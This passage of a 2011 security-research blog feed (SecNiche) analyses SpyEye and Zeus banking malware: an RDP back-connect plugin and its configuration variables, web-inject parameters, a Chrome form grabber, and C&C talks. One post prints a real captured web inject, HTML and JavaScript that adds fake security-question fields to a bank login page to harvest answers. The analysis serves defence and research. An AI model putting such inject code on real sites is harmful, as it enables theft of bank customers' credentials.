/&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-zg5bLoyrJes/Tl5j8ElMwII/AAAAAAAABAA/UjS5syigu14/s1600/up_spyeye_mysql_root_password.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 194px;" src="http://1.bp.blogspot.com/-zg5bLoyrJes/Tl5j8ElMwII/AAAAAAAABAA/UjS5syigu14/s400/up_spyeye_mysql_root_password.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5647060866442248322" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So this discussion has proved the fact that security vulnerabilities can be fruitful in hunting back malware. We will be giving a detailed talk on Hunting Web Malware at OWASP and Hacker Halted this year.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;OWASP AppSec USA - &lt;a href="http://www.appsecusa.org/talks.html#goodhacker"&gt;http://www.appsecusa.org/talks.html#goodhacker&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hacker Halted : &lt;a href="http://www.hackerhalted.com/2011/Presenters.aspx"&gt;http://www.hackerhalted.com/2011/Presenters.aspx&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Stay tuned. &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5182509855391699104?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5182509855391699104/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/08/blasting-spyeye-c-sql-injection-wins.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5182509855391699104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5182509855391699104'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/08/blasting-spyeye-c-sql-injection-wins.html' title='Blasting SpyEye C&amp;C - SQL Injection Wins'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-zIy-jZZF558/Tl5hE0Cl1tI/AAAAAAAAA_w/6uUNf6mNzpw/s72-c/orbz-fire-icon.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-3799192765878538523</id><published>2011-08-07T20:31:00.000-07:00</published><updated>2011-08-07T20:54:55.586-07:00</updated><title type='text'>SpyEye - RDP BackConnect Plugin and Total Commander</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Aic5zJXlqQg/Tj9d8zDKLcI/AAAAAAAAA-E/ZebPfrZGXdw/s1600/network-remote-desktop-256x256.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://3.bp.blogspot.com/-Aic5zJXlqQg/Tj9d8zDKLcI/AAAAAAAAA-E/ZebPfrZGXdw/s400/network-remote-desktop-256x256.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5638328557568142786" /&gt;&lt;/a&gt;Well, malware has many facets and there is no doubt in that. In this post, we are going to raise a point about the SpyEye RDP back-connect plugin and its working. During out talk at &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.blogspot.com/2011/05/hackinthebox-ams-spying-on-spyeye.html"&gt;Hack In The Box (HITB) - AMS&lt;/a&gt;,&lt;/span&gt; we presented about the details of SpyEye botnet and its ability to work with modular plugins. The RDP plugin in SpyEye works on the same benchmarks as FTP and SOCKS. &lt;br /&gt;&lt;br /&gt;Generally, the bot is compiled up with different plugins. The RDP plugin starts a dynamic server on the client machine where the bot is installed. From the victim machine, the bot connects back to main server over RDP. The plugin is well equipped enough to create a hidden user in the victim machine and this account is used to for back server connections. However, this plugin is good enough to allow the remote command server to execute commands on victim machine using RDP. &lt;br /&gt;&lt;br /&gt;In addition, the SpyEye bot downloads the portable version of &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.ghisler.com/"&gt;Total Commander&lt;/a&gt;&lt;/span&gt; from the internet and execute it in the memory on the fly. The beauty of this plugin is that it does not require any system restart when Total Commander is downloaded and installed into the victim machine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-u5yaPmpfjcc/Tj9b0T7MUZI/AAAAAAAAA98/zH1Uz1pSYs8/s1600/007.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://3.bp.blogspot.com/-u5yaPmpfjcc/Tj9b0T7MUZI/AAAAAAAAA98/zH1Uz1pSYs8/s400/007.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5638326212751020434" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The plugin requires following environmental variables in order to specify the required information for plugin execution&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;%IP_OF_BC_SERVER%&lt;br /&gt;%PORT_OF_BC_SERVER%&lt;br /&gt;%MAGIC_CODE% &lt;br /&gt;%WINDOWS_LOGIN%&lt;br /&gt;%WINDOWS_PASSWORD%&lt;br /&gt;%URL_TO_PORTABLE_TCMD% &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The connection to the bot can be performed using standard &lt;span style="font-weight:bold;"&gt;Windows tool mstsc.exe Remote Desktop Connection:&lt;/span&gt;. It has also been observed that this plugin support only x86 OS and not x64 architectures. In the coming time, hopefully this will be released too.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-3799192765878538523?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/3799192765878538523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/08/spyeye-rdp-backconnect-plugin-and-total.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3799192765878538523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3799192765878538523'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/08/spyeye-rdp-backconnect-plugin-and-total.html' title='SpyEye - RDP BackConnect Plugin and Total Commander'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-Aic5zJXlqQg/Tj9d8zDKLcI/AAAAAAAAA-E/ZebPfrZGXdw/s72-c/network-remote-desktop-256x256.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-1253603907721990579</id><published>2011-08-02T08:24:00.000-07:00</published><updated>2011-08-02T08:29:54.639-07:00</updated><title type='text'>Virus Bulletin - SpyEye Exploitation Tactics</title><content type='html'>As a follow-up to our article on the SpyEye malware infection framework, we are discussing the SpyEye bot and the tactics it uses for stealing information from victim machines.&lt;br /&gt;&lt;br /&gt;Fetch the paper from here : &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.virusbtn.com/virusbulletin/archivehttp://www.blogger.com/img/blank.gif/2011/08/vb201108-spyeye"&gt;http://www.virusbtn.com/virusbulletin/archive/2011/08/vb201108-spyeye&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Right now available for subscribers only.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-1253603907721990579?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/1253603907721990579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/08/virus-bulletin-spyeye-exploitaion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/1253603907721990579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/1253603907721990579'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/08/virus-bulletin-spyeye-exploitaion.html' title='Virus Bulletin - SpyEye Exploitation Tactics'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5242795226816384083</id><published>2011-07-03T06:54:00.000-07:00</published><updated>2011-07-04T04:19:08.629-07:00</updated><title type='text'>(SpyEye &amp; Zeus) Web Injects - Parameters</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-K0Y3GzSKibc/ThB_4vZl9dI/AAAAAAAAA8s/KI9XYdgtBhA/s1600/webinjectlogo.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 213px; height: 92px;" src="http://2.bp.blogspot.com/-K0Y3GzSKibc/ThB_4vZl9dI/AAAAAAAAA8s/KI9XYdgtBhA/s400/webinjectlogo.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5625136547358963154" /&gt;&lt;/a&gt;We are in the process of analyzing the enormous set of web injects log and real client side code. During analysis, we found that third generation botnets (Zeus and SpyEye) use an explicit technique of injecting rogue content in the web pages of bank websites. The content is injected as inline but the plugins that are used to complete this process follows a certain set of parameters and procedure. In this post, we are going to talk about the metrics that are used to perform web injects successfully. The plugin communicates with installed bot on client side and a specific steps are followed as a part of hierarchical infection in order to trick the browser.&lt;br /&gt;&lt;br /&gt;The installed bot understands the following parameters&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. set_url [Target to inject]&lt;/span&gt;&lt;br /&gt;The set_url parameter instantiates an object which points to the website which is aimed for web injects. The bot uses this parameter to scan through the HTTP requests for possible match of the website so that injection can be done.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. data_before / data_end&lt;/span&gt;&lt;br /&gt;These parameters are used to set the injection code in an appropriate manner so that HTML code looks fine and does not show broken tags. Generally, these parameters define the base of web inject because the injected data comprises of the HTML tags to be injected before the main injection. Further, "data_before / data_end" also points before which HTML tag the data is required to be injected.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. data_inject | data_end&lt;/span&gt;&lt;br /&gt;These parameters are the main killing part in which the real web injects are placed. The rogue or non legitimate JavaScript/HTML code is set in these parameters which is injected in the legitimate bank website or any proprietary financial web site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. data_after | data_end&lt;/span&gt;&lt;br /&gt;These are last set of parameters which are used to complete the web injects by placing requisite HTML tags at the end of web injects code. Again the purpose is to render the HTML code successfully and inline with the main webpage of website.&lt;br /&gt;&lt;br /&gt;These collective set of parameters can also be used to inject multiple code in the target website.&lt;br /&gt;&lt;br /&gt;One of the real time injected code is presented below&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;set_url &lt;/span&gt;https://target_website/login.html* GP&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_before&lt;/span&gt;&lt;br /&gt;name="password"*[/tr]&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_end&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_inject&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;[TD][FONT class=userinfo]&amp;nbsp;What is your favourite meal or restaurant? [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q1] [/TD][/TR]&lt;br /&gt;[TD][FONT class=userinfo]&amp;nbsp;The name of a memorable place to you? [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q2] [/TD][/TR]    &lt;br /&gt;[TD][FONT class=userinfo]&amp;nbsp;Your favourite film of all time? [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q3] [/TD][/TR]    &lt;br /&gt;[TD][FONT class=userinfo]&amp;nbsp;Your favourite book of all time?  [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q4] [/TD][/TR]    &lt;br /&gt;[TD][FONT class=userinfo]&amp;nbsp;Your favourite teacher or subject? [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q5] [/TD][/TR]    &lt;br /&gt;[TD][FONT class=userinfo]&amp;nbsp;Your favourite TV star or show? [/FONT][/TD] &lt;br /&gt;[TD align=left width=200][INPUT tabIndex=1 name=q6] [/TD][/TR]     &lt;/span&gt;                     &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_end&lt;br /&gt;data_after&lt;br /&gt;data_end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_before&lt;/span&gt;&lt;br /&gt;var cusID*;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_end&lt;br /&gt;data_inject&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;if (document.forms[0].q1.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q1.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;if (document.forms[0].q2.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q2.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;if (document.forms[0].q3.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q3.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;if (document.forms[0].q4.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q4.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;if (document.forms[0].q5.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q5.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;if (document.forms[0].q6.value.length &lt; 2) {&lt;br /&gt;alert('Please, fill answers to all questions');&lt;br /&gt;document.forms[0].q6.focus();&lt;br /&gt;document.forms[0].loginButton.disabled = false;&lt;br /&gt;submitActioned = false;&lt;br /&gt;return false;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;data_end&lt;br /&gt;data_after&lt;br /&gt;data_end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These examples clarify the fact that how exactly the web injects code works and is rendered in the webpages by the installed bot.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5242795226816384083?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5242795226816384083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/07/spyeye-zeus-web-injects-parameters-and.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5242795226816384083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5242795226816384083'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/07/spyeye-zeus-web-injects-parameters-and.html' title='(SpyEye &amp; Zeus) Web Injects - Parameters'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-K0Y3GzSKibc/ThB_4vZl9dI/AAAAAAAAA8s/KI9XYdgtBhA/s72-c/webinjectlogo.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-1529171640916215794</id><published>2011-07-03T06:38:00.000-07:00</published><updated>2011-07-03T06:41:57.066-07:00</updated><title type='text'>SpyEye Malware Infection Framework - VB</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-psMkawfEP-I/ThBxh5NW7KI/AAAAAAAAA8k/qq0PsKczuRk/s1600/virusbulletin.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 140px; height: 75px;" src="http://4.bp.blogspot.com/-psMkawfEP-I/ThBxh5NW7KI/AAAAAAAAA8k/qq0PsKczuRk/s400/virusbulletin.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5625120761692220578" /&gt;&lt;/a&gt;&lt;br /&gt;We have just release the first part of our research on SpyEye in Virus Bulletin Magazine. The next part of the research will be coming soon.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.virusbtn.com/virusbulletin/archive/2011/07/vb201107-SpyEye"&gt;VB - SpyEye Malware Infection Framework&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-1529171640916215794?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/1529171640916215794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/07/spyeye-malware-infection-framework-vb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/1529171640916215794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/1529171640916215794'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/07/spyeye-malware-infection-framework-vb.html' title='SpyEye Malware Infection Framework - VB'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-psMkawfEP-I/ThBxh5NW7KI/AAAAAAAAA8k/qq0PsKczuRk/s72-c/virusbulletin.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-6365210556455256458</id><published>2011-06-19T15:25:00.000-07:00</published><updated>2011-06-19T15:32:04.838-07:00</updated><title type='text'>ToorCon Seattle 2011 - Browser Exploit Packs</title><content type='html'>We gave a talk at ToorCon about the high level details of BlackHole. We will be releasing more details and complete talk in the upcoming conferences that are scheduled later this year.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div style="width:425px" id="__ss_8355947"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/toorcon-seattle" title="Toorcon Seattle 2011 - Browser Exploit Packs"&gt;Toorcon Seattle 2011 - Browser Exploit Packs&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/8355947" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt;  &lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-6365210556455256458?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/6365210556455256458/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/06/toorcon-seattle-2011-browser-exploit.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6365210556455256458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6365210556455256458'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/06/toorcon-seattle-2011-browser-exploit.html' title='ToorCon Seattle 2011 - Browser Exploit Packs'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-730367803749017255</id><published>2011-06-13T06:28:00.000-07:00</published><updated>2011-06-13T06:37:39.372-07:00</updated><title type='text'>Botnet Resistant Coding - HITB</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-5sJ8NYjwePY/TfYSlFvO9vI/AAAAAAAAA8c/Gn42MVrZEH8/s1600/botnet_resistant_coding.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 150px;" src="http://3.bp.blogspot.com/-5sJ8NYjwePY/TfYSlFvO9vI/AAAAAAAAA8c/Gn42MVrZEH8/s400/botnet_resistant_coding.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5617698013596022514" /&gt;&lt;/a&gt;&lt;br /&gt;Web malware infections are proliferating, and the online banking industry has become the hottest target. Stealthy bots play a critical role in the success of these attacks. In this paper,we propose a new approach to mitigating the impact of botnet infections.&lt;br /&gt;&lt;br /&gt;Refer:&lt;span style="font-weight:bold;"&gt; &lt;a href="http://magazine.hitb.org/issues/HITB-Ezine-Issue-006.pdf"&gt;HackInTheBox Paper&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-730367803749017255?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/730367803749017255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/06/botnet-resistant-coding-hitb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/730367803749017255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/730367803749017255'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/06/botnet-resistant-coding-hitb.html' title='Botnet Resistant Coding - HITB'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-5sJ8NYjwePY/TfYSlFvO9vI/AAAAAAAAA8c/Gn42MVrZEH8/s72-c/botnet_resistant_coding.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5669253642341791518</id><published>2011-06-04T07:38:00.000-07:00</published><updated>2011-06-06T04:38:08.384-07:00</updated><title type='text'>Chrome Form Grabber - No One is Secure</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-6kwFZ9POinU/Tepc_DKif5I/AAAAAAAAA78/pnDamyhLQRw/s1600/chrome.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 124px; height: 102px;" src="http://3.bp.blogspot.com/-6kwFZ9POinU/Tepc_DKif5I/AAAAAAAAA78/pnDamyhLQRw/s400/chrome.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5614402123721768850" /&gt;&lt;/a&gt; All third generation botnets have specific functionality of grabbing content in the forms present in the web pages. Bots take control of victim machines and use the concept of key-logging to steal data. It depends a lot on the browser architecture and design; how effective the form grabbing technique is applied. This is because malware needs to have full control of the sockets interface and the dependent modules on it. &lt;span style="font-weight:bold;"&gt;For example:- Internet Explorer uses WININET.dll and Mozilla uses NSPR4.dll.&lt;/span&gt; For these browsers, well designed form grabbing key-loggers have been seen in the wild. Zeus and SpyEye bots have inherited functionality that supports form grabbing in IE and Firefox. However, very less infections have been noticed in Google Chrome considering this functionality. &lt;span style="font-weight:bold;"&gt;This is because Google Chrome architecture is different from other browsers and the low level HTTP request/response handling is done in a bit different way.&lt;/span&gt; The question is the possibility of hooking Google Chrome socket interfaces in order to take control of the data that in POST and GET requests mainly. For security reasons, critical data is sent using POST in forms. That's a generic fact.&lt;br /&gt;&lt;br /&gt;Google Chrome does not use WININET interface to communicate with the server. Google Chrome introduced the support of &lt;span style="font-weight:bold;"&gt;&lt;a href="http://blog.chromium.org/2009/12/web-sockets-now-available-in-google.html"&gt;Web Sockets&lt;/a&gt; &lt;/span&gt;in order to avoid the complexities of asynchronous communication using XMLHttpRequest (XHR). Web sockets provide an ease of bidirectional communication. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The truth is Google Chrome has also fallen into the hands of predators&lt;/span&gt;. Our team has noticed and found traces of effective Google Chrome form grabber &lt;span style="font-weight:bold;"&gt;that performs incessant hooking into chrome.cpp network interface functions&lt;/span&gt; in order to capture all the data and URL to which request is sent. It means, in the coming time we will see bots equipped with robust Google Chrome form grabbing (SpyEye is already started) functionality. Let's have a walk around&lt;br /&gt;&lt;br /&gt;1. In first step, Google Chrome PID is detected.&lt;br /&gt;&lt;br /&gt;2. The PID maps to Google Chrome executable file (chrome.exe) on the hard disk present in the users directory in order to control the path of the application.&lt;br /&gt;&lt;br /&gt;\Device\Hard Disk Volume1\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\Application\chrome.exe&lt;br /&gt;&lt;br /&gt;3. The hook module initiates a callback function which is supposed to capture and store the information coming back from forms. The hook is installed in the chrome.exe and injection is initiated. When a user opens a gmail account page and  submits data to server, the hook module executes callback function which retrieves the URL and POST/GET parameters before sending it to the server.&lt;br /&gt;&lt;br /&gt;4. In order to execute the hook successfully, all the previous Object Entry Points (OEP's) are flushed and new OEP is initiated for different domains.&lt;br /&gt;&lt;br /&gt;5. NT_Resume_Thread call is used effectively in the hook procedure and it seems that related hooked functions are found and called during run time based on patterns.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The below presented screenshot shows the debug layout of Google Chrome formgrabber&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-ZQzpuKk4R7M/Tey8Esqo66I/AAAAAAAAA8U/hiEu9fjSDcE/s1600/googlechrome_form_grabber.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 46px;" src="http://1.bp.blogspot.com/-ZQzpuKk4R7M/Tey8Esqo66I/AAAAAAAAA8U/hiEu9fjSDcE/s400/googlechrome_form_grabber.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5615069624319667106" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Nothing is secure as it is proclaimed to be. &lt;span style="font-weight:bold;"&gt;Welcome Google Chrome to the malicious 